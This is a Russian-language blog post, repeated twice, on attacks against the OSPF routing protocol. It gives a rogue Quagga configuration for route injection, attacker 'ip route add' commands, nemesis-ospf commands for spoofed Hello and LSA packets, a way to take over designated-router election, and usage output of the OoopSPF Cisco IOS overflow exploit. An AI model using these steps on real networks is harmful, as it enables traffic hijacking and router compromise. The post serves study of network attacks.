Петухов Олег, юрист в области международного права и защиты персональных данных, специалист в области информационной безопасности, защиты информации и персональных данных. Телеграм-канал: https://t.me/zashchitainformacii Группа в Телеграм: https://t.me/zashchitainformacii1 Сайт: https://legascom.ru Электронная почта: online@legascom.ru #защитаинформации #информационнаябезопасность Протокол маршрутизации OSPF (Open Shortest Path First) лучше всего подходит для динамических объединенных IP-сетей большого размера с множественными путями. Как правило, протокол маршрутизации OSPF используется при маршрутизации в корпоративных сетях, содержащих в среднем 50 локальных сетей и несколько тысяч хостов. Для лучшего понимания сравним RIP и OSPF. OSPF является протоколом состояния канала (link-state), в отличие от RIP, являющегося протоколом вектора расстояний (distance-vector). Каждый маршрутизатор обновляет свою таблицу маршрутизации на основании векторов расстояний, который он получает от своих соседей. При использовании протокола состояния канала маршрутизатор не осуществляет обмен информацией о расстояниях со своими соседями. Вместо этого каждый маршрутизатор активно проверяет статус своих каналов, ведущих к каждому соседнему маршрутизатору, и посылает эту информацию другим своим соседям, которые могут направить поток данных в автономную систему. Каждый маршрутизатор принимает информацию о состоянии канала и уже на ее основании строит полную таблицу маршрутизации. В представленной сети оптимальным между Source и Destination будет признан маршрут с двумя красными маршрутизаторами. Причиной тому являются более быстрые каналы на этом маршруте. С практической точки зрения основное отличие заключается в том, что протокол состояния канала работает значительно быстрее, чем протокол вектора расстояний. Нужно отметить, что в случае протокола состояния канала значительно быстрее осуществляется сходимость сети. Под понятием сходимости (converge) протокола обычно подразумевается стабилизация сети после каких-либо изменений, как, например, поломки маршрутизатора или выхода из строя канала. OSPF также отличается от RIP (как и многие другие протоколы маршрутизации) тем, что он использует непосредственно IP. Это означает, что он не использует UDP или TCP. OSPF имеет собственный идентификатор, который устанавливается в поле протокола (protocol) в IP-заголовке. Соответственно, и атаки на OSPF более сложны, чем на RIP. Основные сложности заключаются в следующем: 1) маршрутизатору злоумышленника необходимо сэмулировать HELLO пакет, для того чтобы обмениваться с другими роутерами маршрутной информацией; 2) зависимость от иерархии маршрутизаторов, участвующих в обмене маршрутной информацией OSPF. Роутеры, участвующие в обмене, могут иметь различный уровень в иерархической схеме маршрутизации. С учетом указанных сложностей перейдем к рассмотрению основных атак на OSPF. Смысл данной атаки заключается в том, чтобы представить маршрут, который проходит через машину злоумышленника, как обладающий наибольшей пропускной способностью. Одним из критериев выбора оптимального маршрута в OSPF является метрика, вычисляемая по формуле метрика = reference bandwidth / link bandwidth, где reference bandwidth = 108, link bandwidth - пропускная способность канала. Например, для каналов в 100 Мбс значение метрики равно 1, для 10 Мбс – 10 и т. д. Таким образом, злоумышленнику нужно установить значение метрики для своего маршрута равным 1, для того чтобы сделать его приоритетным. ! ! Zebra configuration saved from vty ! 2005/08/16 01:22:41 ! hostname legitimate.ospfd password 8 p@ssw0rd enable password 8 Cb/yfFsI.abqs log file /var/log/quagga/ospfd.log service advanced-vty service password-encryption ! ! interface eth0 description DMZ_Network ip ospf authentication message-digest ip ospf message-digest-key 1 md5 secret_key ! interface eth1 ! interface 10 ! interface tun10 ! router ospf ospf router-id 192.168.20.111 redistribute kernel redistribute connected network 192.168.20.0/24 area 0.0.0.0 area 0.0.0.0 authentication message-digest ! line vty exec-timeout 30 0 ! Когда подключение к обмену маршрутами OSPF было успешно произведено, необходимо обязательно проверить текущее состояние маршрутной информации с помощью команды show ip opsf: legitimate.ospfd# show ip ospf OSPF Routing Process, Router ID: 192.168.20.111 Supports only single TOS (TOS0) routes This implementation conforms to RFC2328 RFC1583Compatibility flag is disabled OpaqueCapability flag is disabled SPF schedule delay 1 secs, Hold time between two SPFs 1 secs Refresh timer 10 secs This router is an ASBR (injecting external routing information) Number of external LSA 4. Checksum Sum 0x00025f81 Number of opaque AS LSA 0. Checksum Sum 0x00000000 Number of areas attached to this router: 1 Area ID: 0.0.0.0 (Backbone) Number of interfaces in this area: Total: 1, Active: 1 Number of fully adjacent neighbors in this area: 2 Area has message digest authentication SPF algorithm executed 29 times Number of LSA 9 Number of router LSA 4. Checksum Sum 0x00025166 Number of network LSA 1. Checksum Sum 0xffff90fa Number of summary LSA 2. Checksum Sum 0x000166c2 Number of ASBR summary LSA 2. Checksum Sum 0x00014713 Number of NSSA LSA 0. Checksum Sum 0x00000000 Number of opaque link LSA 0. Checksum Sum 0x00000000 Number of opaque area LSA 0. Checksum Sum 0x00000000 Далее следует добавить соответствующие маршруты: kali / # ip route add 64.100.0.0/14 dev eth0 kali / # ip route add 128.107.0.0/16 dev eth0 Убедимся, что данные маршруты успешно добавились в OSPF-обмен: legitimate.ospfd# sh ip ospf route ============ OSPF external routing table =========== N E2 64.100.0.0/14 [10/20] tag: 0 via 192.168.66.111, eth0 N E2 128.107.0.0/16 [10/20] tag: 0 via 192.168.66.111, eth0 Как вы поняли, 192.168.66.111 - это машина злоумышленника. Для реализации данной атаки можно также воспользоваться уже упоминавшейся ранее утилитой Nemesis, вернее ее модификацией, предназначенной специально для работы с OSPF. Вот список опций данной утилиты: kali / # ./nemesis-ospf OSPF Packet Injection -=The NEMESIS Project 1.1 I 1999, 2000 obecian <obecian@celerity.bartoli.org> OSPF usage: ./nemesis-ospf [-v] [optlist] OSPF Packet Types: -p <OSPF Protocol> -pH HELLO, -pD DBD, -pL LSR, -pU LSU, -pR LSA (router), -pN LSA (network), -pM LSA (summary), -pA LSA (AS) OSPF HELLO options: -N <Neighbor Router Address> -i >Dead Router Interval> -l <OSPF Interval> OSPF DBD options: -z <MAX DGRAM Length> -x <Exchange Type> OSPF LSU options: -B <num of LSAs to bcast> OSPF LSA related options: -L <router id> -G <LSA age> OSPF LSA_RTR options: -u <LSA_RTR num> -y <LSA_RTR router type> -k <LSA_RTR router data> OSPF LSA_AS_EXT options: -f <LSA_AS_EXT forward address> -g <LSA_AS_EXT tag> OSPF options: -m <OSPF Metric> -s <Sequence Number> -r <Advertising Router Address> -n >OSPF Netmask> -O <OSPF Options> -R <OSPF Router id> -A <OSPF Area id> -P <Payload File (Binary or ASCII)> (-v VERBOSE packet struct to stdout) IP Options -S <Source Address> -D <Destination Address> -I <IP ID> -T <IP TTL> -t <IP/OSPF tos> -F <IP frag> -o <IP Options> Data Link Options: -d <Ethernet Device> -H <Source MAC Address> -M <Destination MAC Address> Необходимо указать источник, получатель, протокол и соответствующие опции. Например, для отправки поддельного Hello-пакета OSPF Neighbor маршрутизатору нужно выполнить следующую команду: Kali / # ./nemesis-ospf –v –pH –N 128.107.0.1 Альтернативной реализацией данной атаки может стать генерация поддельных обновлений OSPF LSA, которую также можно осуществить с помощью nemesis. Kali / # ./nemesis-ospf –v –pR LSA 128.107.0.1 Становимся Designated- или Backup Designated-маршрутизатором OSPF. В средних и крупных сетях, использующих протокол OSPF, применяется определенная иерархия маршрутизаторов. В крупных сетях, использующих десятки или даже сотни маршрутизаторов, поддержка актуальной информации является делом весьма ресурсоемким. Для разделения задач построения маршрутных таблиц и снижения нагрузки на устройства используется иерархия. На верхнем уровне такой иерархии, как правило, присутствует наиболее производительный маршрутизатор. Такой маршрутизатор именуется Designated router. Назначение данного устройства – эффективная передача актуальной маршрутной информации всем маршрутизаторам, участвующим в обмене OSPF. В случае выхода из строя Designated router его должен заменить Backup designated router, то есть резервный маршрутизатор верхнего уровня. Designated router выбирается в результате голосования на основании приоритета маршрутизатора и его IP-адреса. Злоумышленник может попытаться стать этим designated router. В случае если DR назначен приоритет 255, а BDR - 254, выиграть выборы невозможно. Однако многие администраторы не используют максимальные значения приоритетов, назначая DR и BDR 100 и 10 или 2 и 1 соответственно. Иногда DR и BDR назначаются наиболее подходящие IP-адреса. Таким образом, злоумышленнику, для того чтобы сделать свой роутер designated, достаточно установить, каким образом производится выбор DR, и, исходя из этого, подделывать либо приоритет, либо IP-адрес. В Quagga установить приоритет можно с помощью следующей команды: ip ospf priority 255 В случае если DR и BDR имеют максимальные значения приоритетов, можно попробовать вывести их из строя с помощью различных сетевых атак, приведенных в этой книге, и затем уже попытаться подставить свой поддельный маршрутизатор. Взлом OSPF MD5. Для защиты протокол OSPF использует MD5-аутентификацию. Соответственно, по аналогии со взломом MD5 в протоколе RIP, здесь эту защиту также можно взломать. Для этого потребуется Cain & Abel. Сам процесс взлома аналогичен описанному в постах, посвященных взлому RIP, поэтому здесь мы его описывать не будем. Атака на OSPF с помощью эксплойта OoopSPF Exploit. В маршрутизаторах Cisco с операционной системой IOS версий 11.2, 11.3 и 12.0 возможно переполнение буфера при получении большого числа OSPF HELLO-пакетов. Концепция, реализующая данную уязвимость, представлена на официальном сайте: arhontus / # perl IOStack.pl -d 192.168.66.202 -p ****** -e ****** -r stackdump *********************************************************************** IOSSTRING: IOS (tm) C2600 Software (C2600-IK9O3S3-M), Version 12.3(6), RELEASE SOFTWARE (fc3) IMAGE: flash:c2600-ik9o3s3-mz.123-6.bin MEMORY: 61440K/4096K ARRAY: 82A7E210 PID RECORD STACK RETURNA RETURNV NAME <skip> 90 830CFF04 831FCD80 831fcd84 80446D50 OSPF Hello 150 82D290A8 831FFCA0 831ffca4 80446D50 OSPF Router <skip> arhontus / # ./OoopSPF Phenoelit OoopSPF Cisco IOS OSPF remote exploit (11.2.-12.0) (C) 2002/2003 FX of Phenoelit <fx@phenoelit.de> Usage: ./OoopSPF -s <src net> -n <src mask> -d <target rtr ip> -f <file> -t <targ#> Options: -s <src net> Use this network as source (as in target config) -n <src mask> Use this netmask as source (as in target config) -d <target> This is the target router interface IP -f <file> Use this as the new config for the router -t # Use this target value set (see below) -a <area> Use this OSPF area -v Be verbose (-vv or -vvv recommended) -D Directed attack (unicast) for 11.x targets -T Test only – don't send --- barely used options --- -L # Number of neighbors to announce (overflow size) -F # Start of data (seen reverse to overflow) -S # NOP sleet В следующем посте мы перейдем к вопросам безопасности протокола маршрутизации OSPF.
Компания ЛЕГАС: адвокат, юрист, жалобы в ЕСПЧ
Среды с протоколом OSPF.
Петухов Олег, юрист в области международного права и защиты персональных данных, специалист в области информационной безопасности, защиты информации и персональных данных.
Телеграм-канал: https://t.me/zashchitainformacii Группа в Телеграм: https://t.me/zashchitainformacii1 Сайт: https://legascom.ru Электронная почта: online@legascom.ru #защитаинформации #информационнаябезопасность
Протокол маршрутизации OSPF (Open Shortest Path First) лучше всего подходит для динамических объединенных IP-сетей большого размера с множественными путями. Как правило, протокол маршрутизации OSPF используется при маршрутизации в корпоративных сетях, содержащих в среднем 50 локальных сетей и несколько тысяч хостов.
Для лучшего понимания сравним RIP и OSPF.
OSPF является протоколом состояния канала (link-state), в отличие от RIP, являющегося протоколом вектора расстояний (distance-vector). Каждый маршрутизатор обновляет свою таблицу маршрутизации на основании векторов расстояний, который он получает от своих соседей.
При использовании протокола состояния канала маршрутизатор не осуществляет обмен информацией о расстояниях со своими соседями. Вместо этого каждый маршрутизатор активно проверяет статус своих каналов, ведущих к каждому соседнему маршрутизатору, и посылает эту информацию другим своим соседям, которые могут направить поток данных в автономную систему. Каждый маршрутизатор принимает информацию о состоянии канала и уже на ее основании строит полную таблицу маршрутизации.
В представленной сети оптимальным между Source и Destination будет признан маршрут с двумя красными маршрутизаторами. Причиной тому являются более быстрые каналы на этом маршруте.
С практической точки зрения основное отличие заключается в том, что протокол состояния канала работает значительно быстрее, чем протокол вектора расстояний. Нужно отметить, что в случае протокола состояния канала значительно быстрее осуществляется сходимость сети. Под понятием сходимости (converge) протокола обычно подразумевается стабилизация сети после каких-либо изменений, как, например, поломки маршрутизатора или выхода из строя канала.
OSPF также отличается от RIP (как и многие другие протоколы маршрутизации) тем, что он использует непосредственно IP. Это означает, что он не использует UDP или TCP. OSPF имеет собственный идентификатор, который устанавливается в поле протокола (protocol) в IP-заголовке.
Соответственно, и атаки на OSPF более сложны, чем на RIP. Основные сложности заключаются в следующем:
1) маршрутизатору злоумышленника необходимо сэмулировать HELLO пакет, для того чтобы обмениваться с другими роутерами маршрутной информацией;
2) зависимость от иерархии маршрутизаторов, участвующих в обмене маршрутной информацией OSPF. Роутеры, участвующие в обмене, могут иметь различный уровень в иерархической схеме маршрутизации.
С учетом указанных сложностей перейдем к рассмотрению основных атак на OSPF.
Смысл данной атаки заключается в том, чтобы представить маршрут, который проходит через машину злоумышленника, как обладающий наибольшей пропускной способностью. Одним из критериев выбора оптимального маршрута в OSPF является метрика, вычисляемая по формуле
метрика = reference bandwidth / link bandwidth,
где reference bandwidth = 108, link bandwidth - пропускная способность канала.
Например, для каналов в 100 Мбс значение метрики равно 1, для 10 Мбс – 10 и т. д.
Таким образом, злоумышленнику нужно установить значение метрики для своего маршрута равным 1, для того чтобы сделать его приоритетным.
!
! Zebra configuration saved from vty
! 2005/08/16 01:22:41
!
hostname legitimate.ospfd
password 8 p@ssw0rd
enable password 8 Cb/yfFsI.abqs
log file /var/log/quagga/ospfd.log
service advanced-vty
service password-encryption
!
!
interface eth0
description DMZ_Network
ip ospf authentication message-digest
ip ospf message-digest-key 1 md5 secret_key
!
interface eth1
!
interface 10
!
interface tun10
!
router ospf
ospf router-id 192.168.20.111
redistribute kernel
redistribute connected
network 192.168.20.0/24 area 0.0.0.0
area 0.0.0.0 authentication message-digest
!
line vty
exec-timeout 30 0
!
Когда подключение к обмену маршрутами OSPF было успешно произведено, необходимо обязательно проверить текущее состояние маршрутной информации с помощью команды show ip opsf:
legitimate.ospfd# show ip ospf
OSPF Routing Process, Router ID: 192.168.20.111
Supports only single TOS (TOS0) routes
This implementation conforms to RFC2328
RFC1583Compatibility flag is disabled
OpaqueCapability flag is disabled
SPF schedule delay 1 secs, Hold time between two SPFs 1 secs
Refresh timer 10 secs
This router is an ASBR (injecting external routing information)
Number of external LSA 4. Checksum Sum 0x00025f81
Number of opaque AS LSA 0. Checksum Sum 0x00000000
Number of areas attached to this router: 1
Area ID: 0.0.0.0 (Backbone)
Number of interfaces in this area: Total: 1, Active: 1
Number of fully adjacent neighbors in this area: 2
Area has message digest authentication
SPF algorithm executed 29 times
Number of LSA 9
Number of router LSA 4. Checksum Sum 0x00025166
Number of network LSA 1. Checksum Sum 0xffff90fa
Number of summary LSA 2. Checksum Sum 0x000166c2
Number of ASBR summary LSA 2. Checksum Sum 0x00014713
Number of NSSA LSA 0. Checksum Sum 0x00000000
Number of opaque link LSA 0. Checksum Sum 0x00000000
Number of opaque area LSA 0. Checksum Sum 0x00000000
Далее следует добавить соответствующие маршруты:
kali / # ip route add 64.100.0.0/14 dev eth0
kali / # ip route add 128.107.0.0/16 dev eth0
Убедимся, что данные маршруты успешно добавились в OSPF-обмен:
legitimate.ospfd# sh ip ospf route
============ OSPF external routing table ===========
N E2 64.100.0.0/14 [10/20] tag: 0
via 192.168.66.111, eth0
N E2 128.107.0.0/16 [10/20] tag: 0
via 192.168.66.111, eth0
Как вы поняли, 192.168.66.111 - это машина злоумышленника.
Для реализации данной атаки можно также воспользоваться уже упоминавшейся ранее утилитой Nemesis, вернее ее модификацией, предназначенной специально для работы с OSPF. Вот список опций данной утилиты:
kali / # ./nemesis-ospf
OSPF Packet Injection -=The NEMESIS Project 1.1
I 1999, 2000 obecian <obecian@celerity.bartoli.org>
OSPF usage:
./nemesis-ospf [-v] [optlist]
OSPF Packet Types:
-p <OSPF Protocol>
-pH HELLO, -pD DBD, -pL LSR, -pU LSU, -pR LSA (router),
-pN LSA (network), -pM LSA (summary), -pA LSA (AS)
OSPF HELLO options:
-N <Neighbor Router Address>
-i >Dead Router Interval>
-l <OSPF Interval>
OSPF DBD options:
-z <MAX DGRAM Length>
-x <Exchange Type>
OSPF LSU options:
-B <num of LSAs to bcast>
OSPF LSA related options:
-L <router id>
-G <LSA age>
OSPF LSA_RTR options:
-u <LSA_RTR num>
-y <LSA_RTR router type>
-k <LSA_RTR router data>
OSPF LSA_AS_EXT options:
-f <LSA_AS_EXT forward address>
-g <LSA_AS_EXT tag>
OSPF options:
-m <OSPF Metric>
-s <Sequence Number>
-r <Advertising Router Address>
-n >OSPF Netmask>
-O <OSPF Options>
-R <OSPF Router id>
-A <OSPF Area id>
-P <Payload File (Binary or ASCII)>
(-v VERBOSE packet struct to stdout)
IP Options
-S <Source Address>
-D <Destination Address>
-I <IP ID>
-T <IP TTL>
-t <IP/OSPF tos>
-F <IP frag>
-o <IP Options>
Data Link Options:
-d <Ethernet Device>
-H <Source MAC Address>
-M <Destination MAC Address>
Необходимо указать источник, получатель, протокол и соответствующие опции. Например, для отправки поддельного Hello-пакета OSPF Neighbor маршрутизатору нужно выполнить следующую команду:
Kali / # ./nemesis-ospf –v –pH –N 128.107.0.1
Альтернативной реализацией данной атаки может стать генерация поддельных обновлений OSPF LSA, которую также можно осуществить с помощью nemesis.
Kali / # ./nemesis-ospf –v –pR LSA 128.107.0.1
Становимся Designated- или Backup Designated-маршрутизатором OSPF.
В средних и крупных сетях, использующих протокол OSPF, применяется определенная иерархия маршрутизаторов. В крупных сетях, использующих десятки или даже сотни маршрутизаторов, поддержка актуальной информации является делом весьма ресурсоемким. Для разделения задач построения маршрутных таблиц и снижения нагрузки на устройства используется иерархия. На верхнем уровне такой иерархии, как правило, присутствует наиболее производительный маршрутизатор. Такой маршрутизатор именуется Designated router. Назначение данного устройства – эффективная передача актуальной маршрутной информации всем маршрутизаторам, участвующим в обмене OSPF.
В случае выхода из строя Designated router его должен заменить Backup designated router, то есть резервный маршрутизатор верхнего уровня.
Designated router выбирается в результате голосования на основании приоритета маршрутизатора и его IP-адреса.
Злоумышленник может попытаться стать этим designated router.
В случае если DR назначен приоритет 255, а BDR - 254, выиграть выборы невозможно. Однако многие администраторы не используют максимальные значения приоритетов, назначая DR и BDR 100 и 10 или 2 и 1 соответственно. Иногда DR и BDR назначаются наиболее подходящие IP-адреса.
Таким образом, злоумышленнику, для того чтобы сделать свой роутер designated, достаточно установить, каким образом производится выбор DR, и, исходя из этого, подделывать либо приоритет, либо IP-адрес.
В Quagga установить приоритет можно с помощью следующей команды:
ip ospf priority 255
В случае если DR и BDR имеют максимальные значения приоритетов, можно попробовать вывести их из строя с помощью различных сетевых атак, приведенных в этой книге, и затем уже попытаться подставить свой поддельный маршрутизатор.
Взлом OSPF MD5.
Для защиты протокол OSPF использует MD5-аутентификацию. Соответственно, по аналогии со взломом MD5 в протоколе RIP, здесь эту защиту также можно взломать.
Для этого потребуется Cain & Abel. Сам процесс взлома аналогичен описанному в постах, посвященных взлому RIP, поэтому здесь мы его описывать не будем.
Атака на OSPF с помощью эксплойта OoopSPF Exploit. В маршрутизаторах Cisco с операционной системой IOS версий 11.2, 11.3 и 12.0 возможно переполнение буфера при получении большого числа OSPF HELLO-пакетов. Концепция, реализующая данную уязвимость, представлена на официальном сайте:
arhontus / # perl IOStack.pl -d 192.168.66.202 -p ****** -e ****** -r stackdump
***********************************************************************
IOSSTRING: IOS (tm) C2600 Software (C2600-IK9O3S3-M), Version 12.3(6),
RELEASE SOFTWARE (fc3)
IMAGE: flash:c2600-ik9o3s3-mz.123-6.bin
MEMORY: 61440K/4096K
ARRAY: 82A7E210
PID RECORD STACK RETURNA RETURNV NAME
<skip>
90 830CFF04 831FCD80 831fcd84 80446D50 OSPF Hello
150 82D290A8 831FFCA0 831ffca4 80446D50 OSPF Router
<skip>
arhontus / # ./OoopSPF
Phenoelit OoopSPF
Cisco IOS OSPF remote exploit (11.2.-12.0)
(C) 2002/2003 FX of Phenoelit <fx@phenoelit.de>
Usage:
./OoopSPF -s <src net> -n <src mask> -d <target rtr ip> -f <file> -t <targ#>
Options:
-s <src net> Use this network as source (as in target config)
-n <src mask> Use this netmask as source (as in target config)
-d <target> This is the target router interface IP
-f <file> Use this as the new config for the router
-t # Use this target value set (see below)
-a <area> Use this OSPF area
-v Be verbose (-vv or -vvv recommended)
-D Directed attack (unicast) for 11.x targets
-T Test only – don't send
--- barely used options ---
-L # Number of neighbors to announce (overflow size)
-F # Start of data (seen reverse to overflow)
-S # NOP sleet
В следующем посте мы перейдем к вопросам безопасности протокола маршрутизации OSPF.